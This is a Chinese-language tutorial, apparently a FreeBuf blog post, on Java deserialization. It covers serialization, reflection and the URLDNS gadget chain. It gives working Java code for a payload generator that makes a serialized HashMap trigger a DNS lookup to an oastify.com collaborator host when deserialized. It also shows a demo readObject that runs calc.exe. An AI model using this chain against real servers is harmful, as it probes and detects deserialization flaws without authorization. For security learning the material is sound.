JAVA URLDNS鏈分析利用
JAVA URLDNS鏈分析利用
認識Java反序列化知識
Java原生鏈序列化:利用Java.io.ObjectInputStream對象輸出流的writerObject方法實現Serializable接口從而將對象轉化為字節序列用于對對象數據進行存儲轉移
舉例:
package org.example;//對象
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
private transient String name;//transient表示不會被序列化帶上后會發現后面name是null
private int age;
public Person(){
}// 構造函數
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{
ois.defaultReadObject();//調用ois.defaultReadObject()讀取默認對象字段
Runtime.getRuntime().exec("calc.exe");//代碼執行命令Runtime.getRuntime().exec("calc.exe")
} //來調用計算器應用程序。
}//會彈出個計算機
序列化
package org.example;//序列化
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);//獲得序列化數據生成ser.bin文件
}
public static void main(String[] args) throws Exception{
Person person= new Person("aa",22);
System.out.println(person);//打印
serialize(person); //序列化
打印并生成ser.bin文件。
能看出來一點點知道是序列化但要怎樣解出來具體內容就要反序列化讀取或者分析源碼了。
反序列化
package org.example;//反序列化
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("ser.bin");//反序列化強制轉換類型
System.out.println(person);//打印
}
}
成功彈出計算機。 但實際上像 Runtime.getRuntime().exec("calc.exe");這種不會直接調用這種危險的方法的。
URLDNS鏈
URLDNS與版本無關,這個攻擊是依賴于Java內置類。
URLDNS反序列化鏈只能發起DNS請求無法進行其他利用攻擊可作為驗證是否有反序列化漏洞。
源碼
使用bp生成個鏈接。
package org.example;//正常urldns序列化
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.util.HashMap;
import java.util.Map;
import java.net.URL;
public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap= new HashMap<>();//new累
URL url =new URL("http://ulj8wykdbqhab5ywew263gbyzp5kt9.oastify.com");//bp生成
//Class c = url.getClass();
//Field hashcodefield=c.getDeclaredField("hashCode");
//hashcodefield.setAccessible(true);
//int originalHashCode = hashcodefield.getInt(url);
//hashcodefield.set(url,123);
//int or = hashcodefield.getInt(url);
//new之后 hashCode = -1 復制后 hashCode != -1就會發生dns請求
hashmap.put(url,1);
//int orr = hashcodefield.getInt(url);
//hashcodefield.set(url,originalHashCode);
//int orrr = hashcodefield.getInt(url);
// 如果在這個位置將hashCode 改回 -1 就不會發生dns請求從而可以通過dns請求是否發生來判斷是否反序列化
// Person person = new Person("aa",22);
// System.out.println(person);
serialize(hashmap);
}
package org.example;//反序列化
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
unserialize("ser.bin");
}
}
調試
先序列化運行一次嘗試查看。
image-20230718150237706
我們運行后發現 **hashmap.put(url,1);**put后便發起了dns請求即會導致我們收到dns后無法判斷該dns是不是反序列化發出的。
查找DNS的原因
ctrl+單機左鍵分別跟進函數。
URL
URL ——>public URL(String spec) throws MalformedURLException {
private int hashCode = -1;//跟進這個發現當url被new出了 hashCode被賦值為-1
image-20230718161400289
image-20230718161743988
PUT
hashmap.put(url,1)
put——>putVal(hash(key)
hash——> (h = key.hashCode()) ^ (h >>> 16)
hashCode
hashmap.put----.>
k5hai-1311151548.cos.ap-shanghai.myqcloud.comk5hai-1311151548.cos.ap-shanghai.myqcloud.comk5hai-1311151548.cos.ap-shanghai.myqcloud.comimage-20230718150727563.png
k5hai-1311151548.cos.ap-shanghai.myqcloud.comk5hai-1311151548.cos.ap-shanghai.myqcloud.comimage-20230718150744365.png
hashmap.put----.>hash---->
image-20230718162025962
hashmap.put----.>hash---->hashCode---->
image-20230718162044876
image-20230718161400289
image-20230718163404677
hashmap.put----.>hash---->hashCode---->getHostAddress---->
image-20230718163555629
當HashMap傳入一個URL時,會進行一次DNS解析,并將hashCode賦值為-1 當進行put時就會觸發dns。
調用hash(key)方法,此時也會判斷key的hashMap,如果是-1則會觸發一次dns請求所以假設我們可以控制hashCode的值當初次進行hashmap.put(url,1);時我們將其改為其他值,hashmap.put(url,1)后再將其改回**-1**這樣就可通過DNS判斷是否反序列化.這個需要引入Java中的反射的知識。
hashmap.put----.>hash---->hashCode---->getHostAddress--->DNS
Java中的反射
概念
Java中的反射是指在運行時動態地獲取類的信息并操作類的成員(字段、方法、構造函數等)的能力。通過反射,可以在運行時獲取類的信息,如類的名稱、父類、接口、字段、方法等,并且可以通過反射的API來動態地創建對象、調用方法、訪問和修改字段等。
Java的反射機制主要由以下幾個類和接口組成:
Class類:表示一個類或接口,在運行時可以獲取類的信息,如名稱、父類、接口、字段、方法等。
Constructor類:表示一個構造函數,可以通過Constructor類來創建對象。
Field類:表示一個字段(成員變量),可以通過Field類來訪問和修改字段的值。
Method類:表示一個方法,可以通過Method類來調用方法。
個人理解:
反射就是中途改一些定義好或者生成好的數值,當一個類。方法啥的在被調用是我們可以通過反射機制創造出一個一樣的并且這個我們可以對其屬性值進行更改。
反射優缺點
優點:
動態性:反射使得程序能夠在運行時動態地獲取和操作類的信息,而不需要在編譯時就確定類的具體類型。這使得程序能夠更加靈活和適應不同的情況。
擴展性:通過反射,程序可以動態地加載和使用不同的類,從而實現更好的擴展性。這在一些框架和插件系統中非常有用,可以讓程序在不修改代碼的情況下添加新的功能。
調試和分析:反射可以用于調試和分析程序。通過反射,可以獲取類的結構信息,查看字段、方法、構造函數等的屬性和值,幫助開發人員理解和排查問題。
缺點:
性能開銷:反射通常比直接調用方法或訪問字段的方式更加耗時。這是因為反射需要在運行時進行額外的檢查和處理,包括訪問權限檢查、類型轉換等。因此,在性能要求較高的場景下,反射可能不是一個好的選擇。
安全性問題:反射可以繞過訪問權限的限制,讓程序可以訪問和修改本來不應該被訪問的類、方法、字段等。這可能會引發安全漏洞,因此在使用反射時需要謹慎處理權限控制。
可讀性和維護性:使用反射可以讓代碼更加靈活和動態,但也會增加代碼的復雜性和難度。反射的使用通常需要更多的代碼和更復雜的邏輯,這可能會降低代碼的可讀性和維護性。
反射的用途
在反序列化中他的作用就是改屬性值。
舉例
源碼
package org.example;//對象
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
private transient String name;
private int age;
public Person(){
}// 構造函數
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
package org.example;//反射
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Reflectiontest {
public static void main(String[] args) throws Exception{
Person person = new Person();//new一個對象
//整個Class類對象
Class a = person.getClass();
//開始操作Class
//a.newInstance();無參
//a.getConstructor();有參
//從原型class實例化對象
Constructor person_constructor = a.getConstructor(String.class,int.class);
//選擇合適的構造函數,根據參數類型選擇構造函數(知道對象是一個名字一個年齡所以String.class,int.class)
Person p = (Person) person_constructor.newInstance("小王",222); //實例化一個類對象
System.out.println(p);//打印
Field personfields =a.getDeclaredField("name");//獲取Person類的私有字段name
personfields.setAccessible(true);//獲得私有成員的訪問限制
personfields.set(p,"小李");//將name字段進行更改
System.out.println(p);//打印
//下面是其他用法
//獲取類里面的屬性
//同時編輯多行 alt+shift+ins
// Field[] personfields = a.getFields(); //只能獲得public類型的屬性
// for(Field f:personfields){//打印
// System.out.println(f);
// }
//Method[] aa=a.getMethods();//類或接口的所有公共方法
//for (Method n:aa){ //批量打印
// System.out.println(n);
//}
// Field[] personfields1 = a.getDeclaredFields(); //可以獲取public,protected,private屬性
// for(Field f:personfields1){
// System.out.println(f);
// }
//獲取特定的屬性
//Field namefield = a.getDeclaredField("sex");
//如果遇到private屬性,需要用這個,表示可以修改;而public 和 protected可以直接修改
//namefield.setAccessible(true);
// namefield.set(p,"aaa");
// System.out.println(p);
//獲取方法,調用方法
//得到所有方法
// Method[] personmethods = a.getMethods();
// for(Method i:personmethods){
// System.out.println(i);
// }
//得到特定的方法
// Method actionmethod = a.getMethod("action", String.class);
// actionmethod.invoke(p,"aaas");
// System.out.println(p);
//如果要調用私有方法,那么也是使用declared,還有setaccessible
}
}
image-20230718184726771
注意:jdk9一搜可能出現。
image-20230718185016400
module java.base does not “opens java.lang” to unnamed module @1941a8ff//報錯出現什么將什么替換
--add-opens java.base/java.lang=ALL-UNNAMED//在編譯配置中添加vm即可
module java.base does not “opens java.lang.reflect“ to unnamed module
--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
URLDNS攻擊鏈
鏈子:HashMap類的put方法中調用了hash()方法->HashMap類的hash()方法中調用了hashCode()方法。
package org.example;//序列化
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.util.HashMap;
import java.util.Map;
import java.net.URL;
public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap= new HashMap<>();//開始
URL url =new URL("http://qd7ybrqywdf1nej0k23pupu6lxrqff.oastify.com");//傳入url
Class c = url.getClass();//反射
Field hashcodefield=c.getDeclaredField("hashCode");//獲取hashCode參數
hashcodefield.setAccessible(true);//獲得私有成員的訪問限制
int originalHashCode = hashcodefield.getInt(url);//存一下初始值 -1
hashcodefield.set(url,123);//修改hashCode的值
int or = hashcodefield.getInt(url);//觀察修改后hashCode的值
//new之后 hashCode = -1 復制后 hashCode != -1就會發生dns請求
hashmap.put(url,1);//put
int orr = hashcodefield.getInt(url);//沒啥用,只是為了在動態調試中觀察put后hashCode的數值
hashcodefield.set(url,originalHashCode);//修改回hashCode的值 -1
int orrr = hashcodefield.getInt(url);//沒啥用,只是為了在動態調試中觀察hashCode的數值
// 如果在這個位置將hashCode 改回 -1 就不會發生dns請求從而可以通過dns請求是否發生來判斷是否反序列化
serialize(hashmap);
}
}
package org.example;//反序列化
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
// Person person = (Person)unserialize("ser.bin");
// System.out.println(person);
unserialize("ser.bin");
}
}
運行看一下:
image-20230718204643435
發現序列化后并沒有發起請求。
反序列化
image-20230718205141538
可以觀察到反序列化后發起了DNS請求,這說明我們的URLDNS鏈制作完成,我們可以通過DNS請求判斷是否發生反序列化。
動調觀察一下 hashCode的值。
image-20230718205903994
發現和我們設想的較為一致。
自此URLDNS鏈算是結束了,初始java反序列化感覺巨難但多看幾遍自己調試幾遍感覺也還可用哈!!!
本文作者:k5haioo, 轉載請注明來自FreeBuf.COM